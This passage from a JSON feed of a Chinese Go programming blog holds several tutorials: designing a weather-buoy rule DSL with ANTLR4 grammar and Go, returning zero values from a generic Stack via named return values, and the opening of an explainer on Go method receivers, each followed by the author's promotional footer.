。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/05/25/an-example-of-implement-dsl-using-antlr-and-go-part2/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/an-example-of-implement-dsl-using-antlr-and-go-part2-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/05/25/an-example-of-implement-dsl-using-antlr-and-go-part2\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/05/25/an-example-of-implement-dsl-using-antlr-and-go-part2\"\u003ehttps://tonybai.com/2022/05/25/an-example-of-implement-dsl-using-antlr-and-go-part2\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在本系列的第一篇文章\u003ca href=\"https://tonybai.com/2022/05/24/an-example-of-implement-dsl-using-antlr-and-go-part1\"\u003e《手把手教你使用ANTLR和Go实现一门DSL语言：设计DSL语法与文法》\u003c/a\u003e中，我们已经为气象学家们设计了一门DSL，建立了语法样例，并用ANTLR4文法将DSL定义了出来。按照外部DSL设计与实现的工作流，在这一篇中，我们将对上一篇设计的DSL文法进行验证，看看ANTLR基于我们设计的文法是否能成功生成解析器代码，并且基于生成的解析器是否可以成功处理我们编写的语法样例。\u003c/p\u003e\n\u003cp\u003eANTLR文法验证可分为两个阶段，我们分别来看一下。\u003c/p\u003e\n\u003ch3 id=\"一-验证antlr是否能解析我们定义的文法tdatg4\"\u003e一. 验证ANTLR是否能解析我们定义的文法(Tdat.g4)\u003c/h3\u003e\n\u003cp\u003e验证ANTLR是否能解析我们的文法Tdat.g4的过程也是通过antlr4尝试生成DSL语法解析器代码的过程，如果顺利生成目标代码，没有报错，则说明我们的Tdat.g4文法至少是符合ANTLR4对文法的要求的。一旦成功，ANTLR就会在特定目录下生成你期望的语法的解析器(parser)代码，比如下面命令将Tdat.g4文法生成目标代码为Go的解析器实现，生成的Go代码位于当前目录下的parser目录下。\u003c/p\u003e","title":"手把手教你使用ANTLR和Go实现一门DSL语言（第二部分）：文法验证"},{"content":"\n本文永久链接 – https://tonybai.com/2022/05/24/an-example-of-implement-dsl-using-antlr-and-go-part1\n在《使用ANTLR和Go实现DSL入门》一文中，我们了解了DSL与通用编程语言(GPL)的差异、DSL解析器生成工具选择以及ANTLR文法的简要书写规则，并和大家一起完成了一个CSV解析器的例子。看完上述文章后，你是不是有了打造属于自己的DSL的冲动了呢！\n那么究竟该如何设计和实现一门自己的DSL呢？在这个系列文章中，我将“手把手”地和大家一起看看设计和实现一门DSL(这里主要指外部DSL)的全流程。\n结合Martin Fowler在《领域特定语言》一书中的建议，我将设计与实现一门外部DSL的过程分为如下几个步骤：\n图：外部DSL设计与实现的步骤\n本文是系列文章的第一篇，在这一篇中，我将先来说说前三个步骤，即为某一特定领域设计一门DSL的语法(syntax)、并编写可以解析该DSL的ANTLR文法(grammar)，生成该DSL语法的解析器并验证ANTLR文法的正确性。\n到这里有朋友可能会问：“一会儿文法，一会儿又语法，它们到底有啥区别？”，别急！在设计这门DSL语法之前，我先来和大家一起简单理解一下文法与语法的区别。\n一. 文法(grammar)和语法(syntax) 图：文法与语法的比较\n如上图所示，语法是面向使用该编程语言的应用开发者的，就像Go语法面向的是Gopher；而文法则是面向这门编程语言的编译器或解释器(Interpreter)的核心开发者的。\n我们通常用自然语言描述编程语言的语法，这样的文档一般被称为该编程语言的语言规范(language specification)，比如用于描述Go语法的Go语言规范。\n但自然语言通常是不精确的，有时带有歧义。为了给出更为精确的语法描述，编程语言规范通常也会有采用某种形式语言(比如：EBNF)表示的关于这门语言语法所对应的文法，比如在Go语言规范中，我们就能看到用EBNF所描述的文法：\nSourceFile = PackageClause \u0026quot;;\u0026quot; { ImportDecl \u0026quot;;\u0026quot; } { TopLevelDecl \u0026quot;;\u0026quot; } . PackageClause = \u0026quot;package\u0026quot; PackageName . PackageName = identifier . ImportDecl = \u0026quot;import\u0026quot; ( ImportSpec | \u0026quot;(\u0026quot; { ImportSpec \u0026quot;;\u0026quot; } \u0026quot;)\u0026quot; ) . ImportSpec = [ \u0026quot;.\u0026quot; | PackageName ] ImportPath . ImportPath = string_lit . ... ... 通常应用开发人员是不会关心这些夹带在语言规范文档中的文法描述的，只有当规范中的说明有歧义时，开发人员才会根据文法中的产生式规则去推导语法的合规形式的，当然了这一推导过程是比较“痛苦”的。\n到这里，结合我们在《使用ANTLR和Go实现DSL入门》一文中的说明，我们进一步明确了文法就是一组规则，这组规则告诉我们如何将文本流转换为语法树。如果转换失败，说明文本流中存在不符合编程语言语法的地方。\n此外，用于描述一门编程语言语法的文法可以不止一种，每种形式语言工具都有自己的表示形式，比如针对Go语言语法，我们可以使用EBNF给出形式化的文法，也可以使用ANTLR专用的形式化文法。\n到这里，你对文法与语法的概念是不是更深刻一些了呢！不过这时可能会有朋友站出来提问：设计一门编程语言或DSL，是先设计语法还是先设计文法呢？\n在语言设计伊始，语法和文法设计的边界其实并非那么清晰。讨论语法是为了确定文法做准备，而一旦确定了一版文法，语法的使用形式又被进一步精确了。在编程语言/DSL设计过程中，语法与文法是交替螺旋上升的。简单的DSL语言，可能一轮迭代就完成了全部设计。复杂的通用编程语言可能要反复针对语法讨论多次，确定下来后，才会编写出新一版本的文法，依次反复迭代。\n不过通常来说我们会先确定一版语言的语法，写出一些采用此版语言语法的样例源文件，供后续文法以及生成的解析器(Parser)验证使用。回顾Go语言的历史，我们会发现Go语言创世团队当初也是这么做的。Robert Griesemer、Rob Pike和Ken Thompson这三位大佬在Google总部的一间会议室里首先进行了一场有关Go具体设计的会议。会后的第二天，Robert Griesemer发出了一封题为“prog lang discussion”的电邮，这封电邮便成为了这门新语言的第一版设计稿，三位大佬在这门语言的一些基础语法特性与形式上达成了初步一致：\nDate: Sun, 23 Sep 2007 23:33:41 -0700 From: \u0026quot;Robert Griesemer\u0026quot; \u0026lt;gri@google.com\u0026gt; To: \u0026quot;Rob 'Commander' Pike\u0026quot; \u0026lt;r@google.com\u0026gt;, ken@google.com Subject: prog lang discussion ... *** General: Starting point: C, fix some obvious flaws, remove crud, add a few missing features - no includes, instead: import - no macros (do we need something instead?) - ideally only one file instead of a .h and .c file, module interface should be extracted automatically - statements: like in C, though should fix 'switch' statement - expressions: like in C, though with caveats (do we need ',' expressions?) - essentially strongly typed, but probably w/ support for runtime types - want arrays with bounds checking on always (except perhaps in 'unsafe mode'-see section on GC) - mechanism to hook up GC (I think that most code can live w/ GC, but for a true systems programming language there should be mode w/ full control over memory allocation) - support for interfaces (differentiate between concrete, or implementation types, and abstract, or interface types) - support for nested and anonymous functions/closures (don't pay if not used) - a simple compiler should be able to generate decent code - the various language mechanisms should result in predictable code ... 基于这版设计，2008年初，Unix之父Ken Thompson实现了第一版Go编译器(文法相关)，用于验证之前的语法设计。\n好了，在理解了文法与语法的区别后，接下来，我们就来为某一特定领域创建一门DSL语言，我们先来介绍一下这门DSL的背景与语法设计。\n注：以上提到的对文法与语法的理解仅限于计算机编程语言领域，并不一定适合自然语言领域(自然语言领域也有文法与语法的概念)。\n二. 为《后天》中的气象学家设计一门DSL 注：下面只是一个虚构的领域例子，大家无需在其合理性、可行性、科学性与严谨性上产生质疑:)。\n如果你看过灾难片专业户罗兰·艾默里奇指导的美国灾难题材电影《后天》，你肯定会对电影里发生的威胁人类文明的灾难情节记忆犹新。不过《后天》里的情节其实离我们并不“遥远”，尤其是进入二十一世纪以来，极端异常天气在全球各个地区屡屡发生：两极高温冰川消融、北美陆地飓风以及我国2021年华北地区的极端降水等等。各国的气象学家、地球物理科学家们都在努力破解这些极端天气背后的原因，并预测全球气候的走势。他们在全球设置了诸多气象数据的采集装置，就像《后天》中部署在大西洋上的浮标那样，7×24小时地监视着“地球的生命体征”。\n像浮标这样的采集装置内置采集程序，按照设定的规则定期向中心上报数据或发送异常事件信息。不过浮标一般都是无人值守的，一旦投放，便很难维护。一旦要进行程序升级，比如更新采集数据与上报事件的规则，就比较麻烦了。\n如果我们为像浮标这样的采集装置设计一门DSL，让这些装置内置某种DSL引擎，这样变更采集和报警规则只需给装置远程传送一个极小数据量的规则文件即可完成升级，采集装置将按照新规则上报数据和事件。\n好了，领域背景介绍完了，下面我们就来为气象学家们分忧，帮助他们设计一门DSL语言，用于“指挥”像浮标这样的数据收集装置按照气象学家们设定的规则上报数据与事件。\n三. DSL语言的语法样例 我们先来构思一下这门DSL的语法。什么样的DSL是好DSL？没有固定的评价标准。\n自然语言 vs. 编程语言 有人说DSL是给领域专家用的，应该更贴近自然语言一些，但实际情况是DSL更多还是开发人员/测试人员去写，或有开发经验的领域专家使用。所以在《领域特定语言》一书的第二章末尾，Martin Fowler给出关于DSL的特别警示：不要试图让DSL读起来像自然语言。牢记，DSL是一种程序设计语言。\n使用DSL更像是在编程，而不是写小说。同自然语言相比，像DSL这样的程序设计语言的目标是简洁、清晰与精确。\n一门大的DSL vs. 多门小的DSL DSL正如其名，是领域相关的。绝大多数DSL都是非常简单、非常小的“编程语言”，比如一个算术表达式求值语言，再比如DSL一书中格兰特小姐的控制器状态机等。\n但DSL始终存在演化成庞然大物-一门图灵完备的通用编程语言的风险，这个是要极力避免的。那么怎么识别这种风险呢？Martin Fowler告诉我们：如果一个系统整体都是用一门DSL实现的，那么这门DSL就成为了事实上的通用编程语言了。更佳的作法是切分领域，为不同领域构建不同的DSL，而不要构建一门DSL用于所有领域。\n好了，到这里我们先了解一下虚构例子的领域需求，我们需要为这样的一个无人值守的海洋浮标设备设计一门DSL，DSL可用于描述采集设备数据采集与上报的规则。\n科学家们对设备的采集能力描述如下：\n可通过传感器周期性(默认间隔一分钟)获取所在坐标位置的大气温度、水温、水流速、盐度、….等物理指标； 可对传感器实时获取到的各种物理指标信息进行一元运算(向下取整、向上取整、绝对值)、算术运算(加减乘除取模)、关系运算(大于、小于…)、逻辑运算(与、或) ，构造混合这些运算的条件，当条件为真时，上报指定的物理指标信息； 可结合采集设备缓存的历史时刻数据(缓存能力有限，最大300分钟，即300条数据)进行综合条件判定，这里将其定义为窗口计算，判定策略包括：都不满足、全部满足和至少一项满足。 面对这样的需求，我们怎么定义DSL的语法呢？外部DSL的语法设计往往会受到设计者对以往的编程语言的使用经验的影响。很多开发人员都会从自己熟悉的编程语言的语法中“借鉴”一些语法元素来构成自己的DSL。下面是我设计的一组语法样例：\nr0001: Each { || $speed \u0026gt; 30 } =\u0026gt; (\u0026quot;speed\u0026quot;, \u0026quot;temperature\u0026quot;, \u0026quot;salinity\u0026quot;); r0002: None { |,30| $temperature \u0026gt; 5 } =\u0026gt; (\u0026quot;speed\u0026quot;, \u0026quot;temperature\u0026quot;, \u0026quot;salinity\u0026quot;); r0003: None { |3,| $temperature \u0026gt; 10 } =\u0026gt; (\u0026quot;speed\u0026quot;, \u0026quot;temperature\u0026quot;, \u0026quot;salinity\u0026quot;); r0004: Any { |11,30| ($speed \u0026lt; 5) and ($temperature \u0026lt; 2) and (roundUp($salinity) \u0026lt; 600) } =\u0026gt; (\u0026quot;speed\u0026quot;, \u0026quot;temperature\u0026quot;, \u0026quot;salinity\u0026quot;); r0005: Each { |,| (($speed \u0026lt; 5) and (($temperature + 1) \u0026lt; 10)) or ((roundDown($speed) \u0026lt;= 10) and (roundUp($salinity) \u0026gt;= 500))} =\u0026gt; (); 到这里，一些童鞋会惊讶到DSL的简单，没错！就像前面所说的，DSL就应该简单、清晰和表意精确。\n下面我来对上面的语法样例做个简单说明：\n一条规则占用一行，以ruleID开头，以分号结尾；\nruleID与rule body之间通过冒号分隔；\nrule body借鉴了Ruby语言中的迭代器语法：\n#!/usr/bin/ruby\na = [1,2,3,4,5] b = Array.new b = a.collect{ |x| x \u0026lt;= 4 } puts b\n输出：\ntrue true true true false\n在上面ruby的这种迭代器语法中，collect迭代器会将迭代数组a中每个元素，并针对每个元素进行x \u0026lt;= 4的求值，求值结果存储在b中对应的元素位置上。我借鉴了这种形式的语法，形成支持窗口计算和表达式求值的语法。以下面语法为例：\nr0001: Each { |1,5| $speed \u0026gt; 30 } =\u0026gt; (\u0026quot;speed\u0026quot;, \u0026quot;temperature\u0026quot;, \u0026quot;salinity\u0026quot;); 这个规则的含义是：当窗口数据，从第1项到第5项数据中的speed指标都大于30时，输出并上报当前最新的speed、temperature和salinity指标数据。\nEach是对窗口满足策略的判定，Each表示窗口数据中每一项都符合后面的条件表达式；其他两个判定词是None和Any，None表示窗口数据中没有一项满足后面的条件表达式；Any表示窗口数据中有一项满足后面的条件表达式即可。\nEach后面的大括号中放置了窗口范围以及条件表达式。\n两个竖线表示要参与求值的窗口数据，窗口表示的标准形式为|low, high|，low和high是下标值(下标从1开始)，表示的窗口范围为：[low, high]。当省略low时，比如：|, high|表示的窗口范围为|1, high|；当low与high相同时，比如：|n, n|表示只有下标为n这一个元素参与后续求值；当省略high时，比如：|low, |表示窗口范围为|low, max|，其中max为默认设置的窗口的大小；当low与high都省略，但保留逗号时，比如：|,|，表示窗口中所有数据；当low与high都省略，逗号也省略时，比如：||，则表示|1,1|，即窗口中最新的那条数据。这种设计也部分借鉴了Go的切片下标的语法。\n窗口后面条件表达式的求值结果要么为true，要么为false。其支持的运算符可以参考r0005规则。物理指标用**$+指标名字**表示，比如$speed。\n当整个规则求值结果为真时，输出窗口中最新数据的speed、temperature和salinity这三个指标。如果最后输出指标的元组为空，则代表输出所有指标。\n好了，大致确定了DSL语法后，我们就来根据语法样例编写对应ANTLR文法。\n四. 为DSL编写ANTLR文法 在之前的文章中，我们也提到过，ANTLR文法规则存储在以.g4为后缀的文件中，文件名要与文件内的grammar关键字后面的名字保持一致，比如我们的文件名为Tdat.g4，那么该文件中grammar后面也必须是Tdat：\n// the grammar for tdat RuleEngine grammar Tdat; 注意：如果生成的解析器的目标语言为Go，那么ANTLR文法文件名必须要大写，否则生成的一些重要的结构无法被导出。\n每个ANTLR文法文件都需要一个起始语法解析规则(parser rule)，在Tdat.g4中，我们的起始规则为prog：\n// the first parser rule, also the first rule of RuleEngine grammar // prog is a sequence of rule lines. prog : ruleLine+ ; 正如prog规则的注释那样，一个采集装置的完整规则文件是由一组(至少包含一条)规则行（ruleLine)组成。而每个ruleLine的组成模式也非常固定：\nruleLine : ruleID ':' enumerableFunc '{' windowsRange conditionExpr '}' '=\u0026gt;' result ';' ; 大家可以对照着前面语法样例来理解ruleLine这个规则。接下来我们自顶向下(从左向右)的将各个组成部分的规则逐一定义就好了。先来看ruleID这个最简单的规则：\nruleID就是以字母开头，由数字与数字组成的文本：\nruleID : ID ;\n// the first char of ID must be a letter ID : ID_LETTER (ID_LETTER | DIGIT)* ;\nfragment ID_LETTER : \u0026lsquo;a\u0026rsquo;..\u0026lsquo;z\u0026rsquo;|\u0026lsquo;A\u0026rsquo;..\u0026lsquo;Z\u0026rsquo;|\u0026rsquo;\u0026rsquo; // [a-zA-Z] ;\nfragment DIGIT : [0-9] // match single digit ;\n像ID这样的词法规则，大家其实无需自己去从头编写，《ANTLR 4权威指南》或antlr/grammar-v4中有大量样例可供参考。\nenumerableFunc就是窗口判定策略，这里直接将Each、None和Any定为语言的关键字了：\nenumerableFunc : \u0026lsquo;Each\u0026rsquo; | \u0026lsquo;None\u0026rsquo; | \u0026lsquo;Any\u0026rsquo; ;\nwindowsRange是窗口规则，它有两个候选产生式：\nwindowsRange : \u0026lsquo;|\u0026rsquo; INT? \u0026lsquo;|\u0026rsquo; #WindowsWithSingleOrZeroIndex | \u0026lsquo;|\u0026rsquo; INT? \u0026lsquo;,\u0026rsquo; INT? \u0026lsquo;|\u0026rsquo; #WindowsWithLowAndHighIndex ;\n为了便于后续解析，这里用#为每个产生式起了一个名字，这样后续ANTLR在基于Tdat.g4生成Parser代码时，就会单独针对每个名字生成一对EnterXXX和ExitXXX(以listener模式下为例)，便于我们解析。当然这里你还可以拆分的更细碎一些以进一步减少在处理Parser规则时自己写代码做判断的工作量。\nconditionExpr是这里最复杂的parser规则，它的求值结果永远是true或false，因此我将其产生式规则定义如下：\nconditionExpr : conditionExpr logicalOp conditionExpr | \u0026lsquo;(\u0026rsquo; conditionExpr \u0026lsquo;)\u0026rsquo; | primaryExpr comparisonOp primaryExpr ;\n我们看到：conditionExpr规则有三个候选产生式，它可以是带括号的自身，支持自身通过逻辑操作符(and和or)的运算，也可以是经由比较操作符计算(比如\u0026gt;、\u0026lt;等)的普通表达式(primaryExpr)。\n而普通表达式(primaryExpr)同样可以是带括号的自身，可以是经由算术运算符(比如：加减乘除等)计算的普通表达式，可以是单一的指标(METRIC)，可以是经由一元内置函数(比如：roundUp、abs等)计算的普通表达式，当然也可以仅仅是一个字面值(literal)。literal字面值支持整型、浮点(非科学记数法表示形式)和字符串(双引号括起的文本)：\nprimaryExpr : '(' primaryExpr ')' #BracketExprInPrimaryExpr | primaryExpr arithmeticOp primaryExpr #ArithmeticExprInPrimaryExpr | METRIC #MetricInPrimaryExpr | builtin '(' primaryExpr ')' #BuildinExprInPrimaryExpr | literal #RightLiteralInPrimaryExpr ; arithmeticOp : '+' | '-' | '*' | '/' | '%' ; builtin : 'roundUp' | 'roundDown' | 'abs' ; logicalOp : 'or' | 'and' ; comparisonOp : '\u0026lt;' | '\u0026gt;' | '\u0026lt;=' | '\u0026gt;=' | '==' | '!=' ; METRIC : '$' ID // match $speed ; INT : DIGIT+ ; FLOAT : DIGIT+ '.' DIGIT* // match 1. 39. 3.14159 etc... | '.' DIGIT+ // match .1 .14159 ; STRING : '\u0026quot;' (ESC|.)*? '\u0026quot;' ; result规则定义了声明输出指标的形式，它是一个小括号表示的元组，指标间用逗号分隔，如果元组为空，则表示输出所有指标。\nresult : \u0026lsquo;(\u0026rsquo; STRING (\u0026rsquo;,\u0026rsquo; STRING)* \u0026lsquo;)\u0026rsquo; # ResultWithElements | \u0026lsquo;(\u0026rsquo; \u0026lsquo;)\u0026rsquo; # ResultWithoutElements ;\n好了，到这里针对这门DSL的ANTLR文法也编写完了。\n五. 小结 在这一篇中，我们了解了开发一门DSL的基本流程，我们以一门为气象科学家打造的DSL为示例，和大家一起为该DSL设计了语法样例，并用ANTLR4的文法规则定义了这门DSL。\n那么这个文法是否能被ANTLR正确解析并生成目标代码？通过这个文法能否正确识别出前面我们给出的语法样例呢？在下一篇“文法验证”中我将给大家揭晓答案。\n本文中涉及的代码可以在这里下载 – https://github.com/bigwhite/experiments/tree/master/antlr/tdat 。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/05/24/an-example-of-implement-dsl-using-antlr-and-go-part1/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/an-example-of-implement-dsl-using-antlr-and-go-part1-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/05/24/an-example-of-implement-dsl-using-antlr-and-go-part1\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/05/24/an-example-of-implement-dsl-using-antlr-and-go-part1\"\u003ehttps://tonybai.com/2022/05/24/an-example-of-implement-dsl-using-antlr-and-go-part1\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在\u003ca href=\"https://tonybai.com/2022/05/10/introduction-of-implement-dsl-using-antlr-and-go\"\u003e《使用ANTLR和Go实现DSL入门》\u003c/a\u003e一文中，我们了解了DSL与通用编程语言(GPL)的差异、DSL解析器生成工具选择以及ANTLR文法的简要书写规则，并和大家一起完成了一个CSV解析器的例子。看完上述文章后，你是不是有了\u003cstrong\u003e打造属于自己的DSL的冲动\u003c/strong\u003e了呢！\u003c/p\u003e\n\u003cp\u003e那么究竟该如何设计和实现一门自己的DSL呢？在这个系列文章中，我将“手把手”地和大家一起看看设计和实现一门DSL(这里主要指\u003cstrong\u003e外部DSL\u003c/strong\u003e)的全流程。\u003c/p\u003e","title":"手把手教你使用ANTLR和Go实现一门DSL语言（第一部分）：设计DSL语法与文法"},{"content":"\n本文永久链接 – https://tonybai.com/2022/05/20/solving-problems-in-generic-function-implementation-using-named-return-values\nGo语言泛型语法特性在Go 1.18版本落地后，不出所料，在github上看到大量的基础容器类型数据结构被用泛型重写。这种重写我觉得是很正常、很自然的，并且实现良好的通用数据结构改为泛型其实也不难，有些简单的结构可能分分钟就能搞定。\nGo 1.18发布后，我一直没机会写泛型，今天在做DSL语义模型提取时，多处用到Stack结构，于是想到使用泛型简单实现了一个通用的Stack结构。\n在Go中，我们可以用一个切片来定义Stack。泛型Stack类型的定义如下：\ntype Stack[T any] []T 这里的Stack类型就是一个带有类型参数(type parameter)的泛型类型，它的类型参数的约束(constraints)为any，即允许任何类型作为Stack的元素类型。\nStack是最基础的数据结构，一般来说它具有的操作方法包括：\nPush：压栈； Pop：弹栈； Top：获取栈顶元素； Len：获取栈内元素个数。 对于以切片为底层存储的Stack而言，压栈Push操作就相当于对切片的追加(append)操作：\nfunc (s *Stack[T]) Push(v T) { (*s) = append((*s), v) } 不过，这里有两点要注意：\n泛型类型的方法原型中，receiver部分的类型要带上类型参数，比如这里的*Stack[T]；\n这里务必要用*Stack[T]，而不要像下面代码这样用Stack[T]，否则append方法改变的仅仅是Stack[T]的拷贝，而不是原Stack[T]类型的实例。\nfunc (s Stack[T]) Push(v T) { s = append(s, v) }\n我们再来看看*Stack[T]的弹栈Pop方法：\nfunc (s *Stack[T]) Pop() T { if len(*s) == 0 { return nil } // Get the last element from the stack. t := (*s)[len(*s)-1] // Remove the last element from the stack. *s = (*s)[:len(*s)-1] return t } 这样实现的Pop方法会提示return nil一行有错误：cannot use nil as T value in return statement。Go编译器错误信息提示我们：nil不能作为T类型的值返回。\nStack的类型参数的约束为any，即Stack的元素可以是任意类型，即可以是切片、map等复合类型，亦可以是int、string等值类型。如果将nil作为所有这些类型的零值的确不恰当。\n那么当Stack为空时，应该如何返回呢？多亏Go原生支持类型零值，我们可以声明一个类型零值并将其作为返回值返回：\nfunc (s *Stack[T]) Pop() T { if len(*s) == 0 { var zero T return zero // 模拟类型零值 } // Get the last element from the stack. t := (*s)[len(*s)-1] // Remove the last element from the stack. *s = (*s)[:len(*s)-1] return t } 虽然这种方法有效，但你是不是和我有一样的感觉：不够优雅。下面我们就来看一个更为优雅的小技巧：利用函数的具名返回值，看代码：\nfunc (s *Stack[T]) Pop() (t T) { if len(*s) == 0 { return } // Get the last element from the stack. t = (*s)[len(*s)-1] // Remove the last element from the stack. *s = (*s)[:len(*s)-1] return } 我们看到：具名返回值(named return value)一出马，一切都变得自然而然了。当然这也要归功于Go的类型零值特性。\n具名返回值日常使用的不多，从使用的频度来看，Go标准库以及多数项目的代码默认选择非具名返回值(unamed return value)。当函数使用defer且在deferred函数中修改外部函数返回值时，应用具名返回值可以让代码显得更清晰一些：\nfunc Foo() (a int) { defer func() { a = 5 } a = 6 } 其他情况，看项目编码规范一致性要求以及个人喜好了。不过，Go引入泛型后，针对上述的泛型函数返回零值的情况，相信具名返回值将得到更多的“出镜”的机会。\n本文中涉及的示例代码在这里可以下载到：https://github.com/bigwhite/experiments/tree/master/generics/stack。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/05/20/solving-problems-in-generic-function-implementation-using-named-return-values/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/solving-problems-in-generic-function-implementation-using-named-return-values-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/05/20/solving-problems-in-generic-function-implementation-using-named-return-values\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/05/20/solving-problems-in-generic-function-implementation-using-named-return-values\"\u003ehttps://tonybai.com/2022/05/20/solving-problems-in-generic-function-implementation-using-named-return-values\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eGo语言泛型语法特性在\u003ca href=\"https://tonybai.com/2022/04/20/some-changes-in-go-1-18\"\u003eGo 1.18版本\u003c/a\u003e落地后，不出所料，在github上看到大量的基础容器类型数据结构被用泛型重写。这种重写我觉得是很正常、很自然的，并且实现良好的通用数据结构改为泛型其实也不难，有些简单的结构可能分分钟就能搞定。\u003c/p\u003e","title":"使用具名返回值巧妙解决泛型函数返回零值的问题"},{"content":"\n本文永久链接 – https://tonybai.com/2022/05/17/understand-the-nature-of-go-method-and-how-to-choose-the-correct-receiver-type\nGo语言虽然不支持经典的面向对象语法元素，比如：类、对象、继承等，但Go语言也有方法（method）。和函数相比，Go语言中的方法在声明形式上仅仅多了一个参数，Go称之为receiver参数，而receiver参数正是方法与类型之间的纽带。\n那么Go语言的方法究竟是什么？它与函数究竟是什么关系？我们又该如何选择receiver参数的类型呢? 是选择值类型还是指针类型？\n本文将通过《Go语言精进之路：从新手到高手的编程思想、方法与技巧》这本书的内容来帮助大家深入理解Go方法的本质，并给出receiver参数类型选择的原则，让大家不再困惑。\n1.什么是Go语言的方法(method) Go方法的一般声明形式如下：\nfunc (receiver T/*T) MethodName(参数列表) (返回值列表) { // 方法体 } 上面方法声明中的T称为receiver的基类型。通过receiver，上述方法被绑定到类型T上。换句话说：上述方法是类型T的一个方法，我们可以通过类型T或*T的实例调用该方法，如下面伪代码：\nvar t T t.MethodName(参数列表) var pt *T = \u0026amp;t pt.MethodName(参数列表) Go方法具有如下特点：\n1）方法名的首字母是否大写决定了该方法是否是导出方法；\n2）方法定义要与类型定义放在同一个包内。由此我们可以推出：不能为原生类型（如int、float64、map等）添加方法，只能为自定义类型定义方法（示例代码如下）。\n// 错误的做法 func (i int) String() string { // 编译器错误：cannot define new methods on non-local type int return fmt.Sprintf(\u0026quot;%d\u0026quot;, i) } // 正确的做法 type MyInt int func (i MyInt) String() string { return fmt.Sprintf(\u0026quot;%d\u0026quot;, int(i)) } 